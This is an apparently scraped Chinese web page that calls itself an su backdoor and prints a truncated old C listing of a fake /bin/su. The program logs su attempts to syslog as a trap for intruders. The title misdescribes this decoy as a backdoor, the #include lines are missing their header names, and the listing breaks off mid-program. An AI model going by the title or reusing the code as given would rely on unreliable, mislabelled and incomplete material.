一个su后门程序

核心提示： #include#include char uname[10], tname[20];extern char *getlogin(), *ttyname(); main (argc, argv)char **argv;{char *key, *t; /* * If an intruder

#include
#include

char uname[10], tname[20];
extern char *getlogin(), *ttyname();

main (argc, argv)
char **argv;
{
char *key, *t;

/*
　 * If an intruder is to buy this, we must LOOK like a
　 * real copy of "/bin/su"
　 */

if (geteuid ()) {
　 fprintf (stderr, "su: not properly installed\n");
　 exit (1);
} else {
　 /*
　 * Become daemon, "Right away!"
　 */

setgid (1);
　 setuid (1);
}

/*
　 * Discover our uname / location
　 */

if ((t = getlogin ()) == NULL)
　 strcpy (uname, "unknown");
else
　 strcpy (uname, t);

if ((t = ttyname(2)) == NULL)
　 strcpy (tname, "unknown");
else
　 strcpy (tname, t);

/*
　 * Open log, and gripe!
　 */

#ifdef LOG_AUTH
openlog ("su", LOG_PID, LOG_AUTH);
#else
openlog ("su", LOG_PID);
#endif
syslog (LOG_NOTICE, "SU attempt failed by %s on %s\n",
uname, tname);
　 syslog (LOG_NOTICE, "User tried to become %s using su\n",
(argc > 1 ? argv[1] : "root"));

/*
　 * Query for a password, to look real
　 */